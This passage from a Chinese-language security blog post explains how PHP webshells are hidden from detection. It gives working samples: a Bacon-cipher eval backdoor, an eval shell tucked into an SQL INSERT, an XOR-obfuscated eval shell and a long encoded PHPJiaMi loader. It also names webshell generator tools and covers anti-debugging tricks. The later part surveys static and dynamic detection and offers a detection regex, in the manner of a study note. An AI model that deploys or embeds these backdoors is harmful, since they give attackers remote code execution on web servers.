        for ($i=0; $i < strlen($ALPHABET); $i++) {  
            $key_v[$ALPHABET[$i]] = substr($KEY, $i, 5);
        }   

        //将输入密码的大小写模式转换为beacon编码
        $newstr = '';
        for ($i=0; $i < strlen($s); $i++) {  
             $newstr .= ctype_lower($s[$i]) ? 'a' : 'b';
        }  

        $counter = strlen($s);
        $result = ''; 
        //die(var_dump($key_v));
        while($counter > 0){
            foreach ($key_v as $key => $value) {
                if($value == substr($newstr, 0, 5)){
                    $result .= $key;  
                }
            } 
            $newstr = substr($newstr, 5);
            $counter = $counter - 5;
        }
        return $result;
    }  
?>
@eval(bacon_encode($_POST['caidao']));
?>*/<PHP_BASE.加密示例>ABAAAABABAABBABBAABBAABAABABBAABBABBAABB%%3D&id=%s</PHP_BASE.加密示例>
复制代码

这里bacon解码是采用大小写方式,隐蔽性更强,通过这种隐写的思路,在流量中只会出现一些大小写交叉分布的"合法字符",恶意特征这个检测维度将不复存在

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473786&idx=1&sn=59747e20fe97ca8249d5d2584bc5d030&scene=2&srcid=0621Qf07ZS5zGrDO7HapV5Qz&from=timeline&isappinstalled=0

0x75: 用双引号、单引号包裹

INSERT INTO `dede_mytag` VALUES('26635','0','','0','0','0','<?php @eval($_POST[ou])?>','');111

PHP的解释引擎会自动忽略<?php之前的字符(包括单引号、双引号),直到遇到<?php开始解析jit执行,黑客利用这种方式将webshell隐藏地像一个sql文件一样

0x76: 用异或隐藏关键字

复制代码
<?php
@$_++; 
$__=("#"^"|"); 
$__.=("."^"~"); 
$__.=("/"^"`"); 
$__.=("|"^"/"); 
$__.=("{"^"/"); 
@eval(${$__}[!$_]);?>
复制代码

 

3. webshell变种后门生成工具介绍

webshell的自动化生成和混淆工具目前已经有很多不错的工具可用了

复制代码
1. webacoo
https://github.com/anestisb/WeBaCoo/2. weevely
https://github.com/epinna/weevely/
http://www.freebuf.com/tools/39765.html
3. Hookworm https://github.com/modcloth-labs/hookworm4. hidemyphpshell.py http://hackeruna.com/2011/09/06/hidemyphpshell-ofuscador-de-codigo-php/
复制代码

这几款工具,都有简单易用的命令行界面,可以方便地生成webshell

 

4. webshell的检测技术

这块内容目前刚开始接触,还有待深入学习,应该在之后的学习笔记中会继续研究

目前webshell的检测主要分为静态检测和动态检测。

复制代码
静态检测主要是基于以下几点:1) 基于正则的特征匹配: webshell常常表现出一些有别于正常业务代码的特征
典型的代表: LMD (Linux Malware Detect) scanner
http://www.clamav.net/lang/en/2) 基于文本的统计特征的阈值分析: webshell由于往往经过了编码和加密,会表现出一些特别的统计特征
典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI3) 基于文件间"关联性"的分析: webshell一般和原始目录下的其他正常文件关联性较低
复制代码

动态检测主要是基于以下几点:

复制代码
1) 编写PHP扩展,对关键函数的执行进行HOOK,例如system等函数,这样,就可以创造出一个PHP的执行沙箱,进行虚拟机检测2) 进行磁盘文件系统的实时监控,getshell的过程一定会涉及到磁盘的读写,利用windows提供的API:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspxWaitForMultipleObjects function

http://msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspxReadDirectoryChangesW function
可以实现对磁盘操作的实时监控,对可疑的webshell创建进行分析、检测、拦截
复制代码

 

4. webshell隐藏反检测对抗手段

webshell隐藏与检测对抗中开始出现了大量的"在线加密工具",其中开始引入了二进制反调试、反检测对抗的一些思路

0x1: 反调试手段

参考了传统二进制反调试手段,webshell也引入了同样的技术

复制代码
1. 验证文件MD5值2. 限制IP3. 限域名4. 限时间5. 防破解6. 防命令行调试//源码+加密外壳 == 加密程序
复制代码

1. 防命令行调试

防止PHP命令行模式,因为我们IIS 或APACHE 都是工作在ISAPI或者CGI模式,是不会出现CLI .可以防止程序破解

if (php_sapi_name() == "cli") 
{ 
    echo "请不要破解本程序"; 
    exit; 
}

2. 验证文件MD5值

MD5的方式,此方式较复杂。一般会将一段加密后的代码,判断MD5值,写入到PHP中。程序运行的时间读取这一段MD5值,并判断。如果值不相同则停止运行。常见的加密文件,不可修改,修改即无法执行也是这个原因

0x2: 代码混淆手段

黑客采用ASCII码(129-255)之间的字符来加密,造成代码不可读,以此对大马/一句话进行隐藏

复制代码
<?php /* PHP Encode by  http://Www.PHPJiaMi.Com/ */error_reporting(0);
ini_set("display_errors", 0);if(!defined('lrwysyfg')){define('lrwysyfg',__FILE__);if (function_exists(" ì󇗍ó윐")==false){function œ¦ë¢ñÝ©($‰úà•óÌãŽø){global$¯Ã¸’э‰úÞ„,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–ٍ¿Æä,$¾Êåø ›Õèêø,$ÌÞ͝¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥“¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤”,$Ì纁““åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$˝̎ډ¯¡=$Ãᗍÿ³š=$ŸÔù„™”¶ž˜ñ=$œêÃú¥­¿û=$Ž‘»ð‰Ä³Áó¶=$̢¯¨ÒÜø»žÝ=$¿¾ŸÌù¯û¨š”=$‚Œ±²ƒåŸ=$À¶ðæŽä=$š÷Ì…˜Ž=$…Õ‚è…Éά='Ôãßïì‹ÕŸ';$ÄÒ—Ó°‰„Õ¿=$œè§Å”Þú¦þ‘('ŒAà Š¬¢Š¬ðÞCAA==');$ÇÃÙڵس‚·=$œè§Å”Þú¦þ‘('AAè¦');$ȫȼ¶Ø¼ˆ…=$œè§Å”Þú¦þ‘('Bî5Ê');$ÁÞ׏¸î–=$œè§Å”Þú¦þ‘('C¢èªŠ¬ØŒCŒÐ¦');$§Ñ„ïŽ÷콺̳=$œè§Å”Þú¦þ‘('¬¬’ªî==');$ÄÒ—Ó°‰„Õ¿()==$ȫȼ¶Ø¼ˆ…?$ÇÃÙڵس‚·():'';$…ßïÜó´¾ß=$¯Ã¸’э‰úÞ„($¾Êåø ›Õèêø($œè§Å”Þú¦þ‘('CBBAŽÖ¬’B1’=')));$¥—”ÀÃü£¯ü=$ÁÞ׏¸î–(true)*$§Ñ„ïŽ÷콺̳;eval("");if(($ÁÞ׏¸î–(true)*$§Ñ„ïŽ÷콺̳-$¥—”ÀÃü£¯ü)>100){$ÇÃÙڵس‚·();}eval($œè§Å”Þú¦þ‘('D¢¢ÌŠŠ”DŠ¬àŠ¨¨Þ8’òà/Æ®Ø␤Β¤ªŒ˜¤Ö9¨¬¤ØD¢Œè´¢ÎÈ–¨¤ªŠ¨¬4¤Að²˜ABæÈDªÎ='));!$ žšÎµ ($…Õ‚è…Éά($¢™ìëÛíÛ($…ßïÜó´¾ß,$˜î…ƒ¹é('¦¬²C'),$¼üáʹކ°ç('¦¬š='))),$Ì纁““åúÙ($¢™ìëÛíÛ($…ßïÜó´¾ß,$˝̎ډ¯¡('¬A=='),$Ãᗍÿ³š('¦¬²B'))))?$–ÁŽ—‰¬·Üö´():$¢ºƒÕ³ÖÁ›;$±Œð‰Ëû퍩¦=$ŸÔù„™”¶ž˜ñ('¦¬²Cªî==');$›ÿ—±Ô³©†ŽÇ=$œêÃú¥­¿û('¦¬²B');$›ÿ—±Ô³©†ŽÇ=$µŒéë¾û¨¹Ã¤”(@$¥“¦‰ªÎ($¿¾ŸÌù¯û¨š”($¢™ìëÛíÛ($…ßïÜó´¾ß,$±Œð‰Ëû퍩¦,$›ÿ—±Ô³©†ŽÇ))));return$›ÿ—±Ô³©†ŽÇ;}function –ôäÀЊڊ”ÿä(){$æØÊñÒ‚Æò='6f6e66723634';$Ä­ÚÉ‹—µ’='pa';$ÔƏçÑÛ»ë='7374725f';$±ã•±Ó¡“='H'.'*';$Ä­ÚÉ‹—µ’.='ck';$æØÊñÒ‚Æò.='5f717270627172';$ÔƏçÑÛ»ë.='726f743133';$ˆÎ„ÕÆÏ—ÆÓ¨=$Ä­ÚÉ‹—µ’($±ã•±Ó¡“,$ÔƏçÑÛ»ë);$“ðžÇ¨ë½Çö=$ˆÎ„ÕÆÏ—ÆÓ¨($Ä­ÚÉ‹—µ’($±ã•±Ó¡“,$æØÊñÒ‚Æò));return$“ðžÇ¨ë½Çö;}function  ì󇗍ó윐(&$Ó…ðç¦Ñîòì,$½ÝУªÎ){$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$˝̎ډ¯¡='Ôãßïì‹ÕŸ';$’àà±òד±ôæ=$œè§Å”Þú¦þ‘('Œð´Œ Š¤ÊŒ¢¢Š');$¤¦ì» Ž‹Æ=$˜î…ƒ¹é('Œð´ŒŠ¬œ');$ÆÄÿÛЖ=$¼üáʹކ°ç('AðÐCD¬¬ÊDŠ¬ŒAB²¢');$Ô‘²™ƒ¥=$±ÓƒìżٽÙ÷('Œð´ŒCÖ´CD¬¤ŠD¢A¢');$Óœƒ¢‹öŠ=$±ÓƒìżٽÙ÷('A¤àD1جBA==');$™»û˜ÀÒµ=$’àà±òד±ôæ($¤¦ì» Ž‹Æ($ÆÄÿÛЖ($Ô‘²™ƒ¥($˝̎ډ¯¡('˜Î–7¢0/ÞΪ7ÞŠê°88Žæ3ò6Š Šì’Ü97ê¤C¦Ü¢ °¢Ø90”ÜŽ®êæš´Öž/Ü7ÖêÂÐ0®A0ÞƪD4BÊ8ÐŽŒÜ²CÎ4®ôŽœ1BÜ+ŒèÔÎÔ¢9ª/Œ®Ä–ÜBÔàòðâì5–ÔÌäCÆ1èÚòî˜Æî®Øô¦Ö ÄÊž99ÊîÄÚŒ+Öä0œòBÂ0´š¤œÊê®æê’Š/Ð78928¢ò´Ø6Cî+¢̦–¢=')))));$ÄØ­Çàˆ=$Óœƒ¢‹öŠ(',',$™»û˜ÀÒµ);$Ó…ðç¦Ñîòì=$ÄØ­Çàˆ[$½ÝУªÎ];}function Ôãßïì‹ÕŸ($°ß˜ýÄÄƈ,$ȍªÓüßù=''){$–ôäÀЊڊ”ÿä=–ôäÀЊڊ”ÿä();$”¸õÄ‚Ë®=$–ôäÀЊڊ”ÿä('b3Jk');$žâçÕ챃º©=$–ôäÀЊڊ”ÿä('c3RybGVu');$“ðžÇ¨ë½Çö=$–ôäÀЊڊ”ÿä('Y2hy');$ȍªÓüßù=!$ȍªÓüßù?$”¸õÄ‚Ë®('ˆ'):$ȍªÓüßù;$¢ðËÔþ±=$½÷è“äŸÁŽ;for(;$¢ðËÔþ±<$žâçÕ챃º©($°ß˜ýÄÄƈ);$¢ðËÔþ±++)$–ÞŠµ£ÍÝýóƒé.=$”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$”¸õÄ‚Ë®('õ')?(($”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})>$ȍªÓüßù&&$”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$”¸õÄ‚Ë®('õ'))?$“ðžÇ¨ë½Çö($”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})/2):$°ß˜ýÄÄƈ{$¢ðËÔþ±}):'';$›ÿ—±Ô³©†ŽÇ=$–ôäÀЊڊ”ÿä($–ÞŠµ£ÍÝýóƒé);$Ì纁““åúÙ=$–ôäÀЊڊ”ÿä('bWQ1');$¢ðËÔþ±=$½÷è“äŸÁŽ;$ȍªÓüßù=$Ì纁““åúÙ('8_Q.L2');$”¸õÄ‚Ë®=$ctrmax=$žâçÕ챃º©($ȍªÓüßù);for(;$¢ðËÔþ±<$žâçÕ챃º©($›ÿ—±Ô³©†ŽÇ);$¢ðËÔþ±++){$”¸õÄ‚Ë®=$”¸õÄ‚Ë®?$”¸õÄ‚Ë®:$ctrmax;$”¸õÄ‚Ë®--;$‡­æȊɘ.=$›ÿ—±Ô³©†ŽÇ[$¢ðËÔþ±]^$ȍªÓüßù[$”¸õÄ‚Ë®];}return$‡­æȊɘ;}}}global$¯Ã¸’э‰úÞ„,$™§‘Ë«¼¸²¹·ì,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–ٍ¿Æä,$¾Êåø ›Õèêø,$ÌÞ͝¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥“¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤”,$Ì纁““åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$ˆµ™ðú˜ú©Ê†=$̳¹Êì†÷í̽=$š´ƒù£œ¬Â=$ŠÒ¹»°È¯ì=$ÄïÛšË⌹®=$¶È¦ªãÏ=$±²Ã¹Ú¥ÖùÙÑ=$ŸËýχÐ÷=$º³«ÑŸû½ªð=$Î㪙†ò舻õ=$‚©Ð‘…Æ=$»¨Œö„ÛÐ=$ž±¨½¦ìì =$³¦•Ì‘çþ=$‘ñëþ¬ã㊩ÀÏ=$‡ø¥«¾•¯ÕË•=$ŠÝ=$›ðÓÔÿ´öשÐß=' ì󇗍ó윐';if(!$¯Ã¸’э‰úÞ„){$ˆµ™ðú˜ú©Ê†($¯Ã¸’э‰úÞ„,7);$̳¹Êì†÷í̽($¢™ìëÛíÛ,8);$š´ƒù£œ¬Â($ºÍè–ٍ¿Æä,9);$ŠÒ¹»°È¯ì($¥“¦‰ªÎ,4);$ÄïÛšË⌹®($®óëãâæ…â¿,12);$¶È¦ªãÏ($ žšÎµ ,11);$±²Ã¹Ú¥ÖùÙÑ($ÁÛ¾îϬÜç,2);$ŸËýχÐ÷($µŒéë¾û¨¹Ã¤”,13);$º³«ÑŸû½ªð($Ì纁““åúÙ,14);$Î㪙†ò舻õ($ÂÊ„©À¹Óÿ´–¤,15);$‚©Ð‘…Æ($žÞèú›¸´,16);$»¨Œö„ÛÐ($ÌÞ͝¦í¾¨¢é,17);$ž±¨½¦ìì ($¶ò˼ÈãˆÜØ,18);$³¦•Ì‘çþ($¾Êåø ›Õèêø,10);$‘ñëþ¬ã㊩ÀÏ($É´‚úùÒ¾èøàÓ,5);$‡ø¥«¾•¯ÕË•($¯³˜®ìûÃ,6);$ŠÝ($™§‘Ë«¼¸²¹·ì,1);$›ðÓÔÿ´öשÐß($±ŠœÀðÁ»,3);}$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷='Ôãßïì‹ÕŸ';$‰úà•óÌãŽø=$œè§Å”Þú¦þ‘('žî¤Þ');$›ÿ—±Ô³©†ŽÇ=œ¦ë¢ñÝ©($$‰úà•óÌãŽø);$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));$²†•øÀ؝Ì=$¶ò˼ÈãˆÜØ($›ÿ—±Ô³©†ŽÇ);$‡­æȊɘ=$œè§Å”Þú¦þ‘('A¤¤®Dð5¨AŠ´¦ª1Š8A¢´¢®1”¢Ž¤ô®æ –9Ê6Þ/ÐØ–®Î==');$‡­æȊɘ=$ÌÞ͝¦í¾¨¢é($˜î…ƒ¹é('¦1¬¬¬Œœ¢®Bà¦'),$‡­æȊɘ,$¼üáʹކ°ç('ªîAABØÆ’'));$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));return$‡­æȊɘ;//end?>˜ÒŠ1’®A˜Ðè6šð¬˜ä6+²4ŽÄÜ5ìÊê/Ê¢ð 6–Ò12°2ҐœAœð5Ì®9îÆÐŒ–CØâ3äBŠDÒCèÐäòBB–ä´C3à”žæè48˜ô3¨æβސÜÄèšô蘘ÌCÄæÊ´ÒšŽÞ9¤”5°®5òÌšàA9ÄÒ3ŽÂCŠÖîðBš–ªØ²œªB9Ê7C/°9Æ2šÜÒÈ3è¦+Ä¢è–Þ´šÆDŒ´7æ–°ô92AÄÈê/3êØž/¬¦¤äC°C ’òÂê¨à”B誠A¨4àÐŽÒ2ØC3Úè–ðÜŒÄÖâ 85æ®Ö5žð¦èŒA¤BÆ”Ê9Úâ¢Æ6®9ô¦ÈžÒÜ AàCò+²’žàD625ìŠî¢èÆÂîŒCB––6ÞC8ØŠÐÂÒ1CÞО’è8ð3ìŠØBîCšò˜Ò8¨02ÄîšâÒʨ4ôòäÚ”ÂÊDŠÞÈCà/œÖ¦˜959êâž9°AÆÈÖ1ÔÞ˜ôâªDAÔ´3´êŠâC//ؘè4ð61Æ+˜Œ’3/ÎĬÚA==Å2Îœ¨¬1”°AØ¢A¬1ð¦AŒ²–¬1ªŒB¢9°DÎ9ª¬1’Bªî”ªª¬”È;
复制代码

检测方法

\$[\x7f-\xff][\w\x7f-\xff]*

为了防止将中文unicode误报,需要连续匹配2个非可见ASCII字符

Relevant Link:

http://www.phpjiami.com/article/25.htmlhttp://www.phpjiami.com/article/24.htmlhttp://www.phpjiami.com/article/26.htmlhttp://ascii.911cha.com/http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.htmlhttp://www.chi2ko.com/tool/CJK.htm

 

Copyright (c) 2015 LittleHann All rights reserved


  原文链接:http://www.5kik.com/phpnews/640.html

相关文章

发表评论:

验证码

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。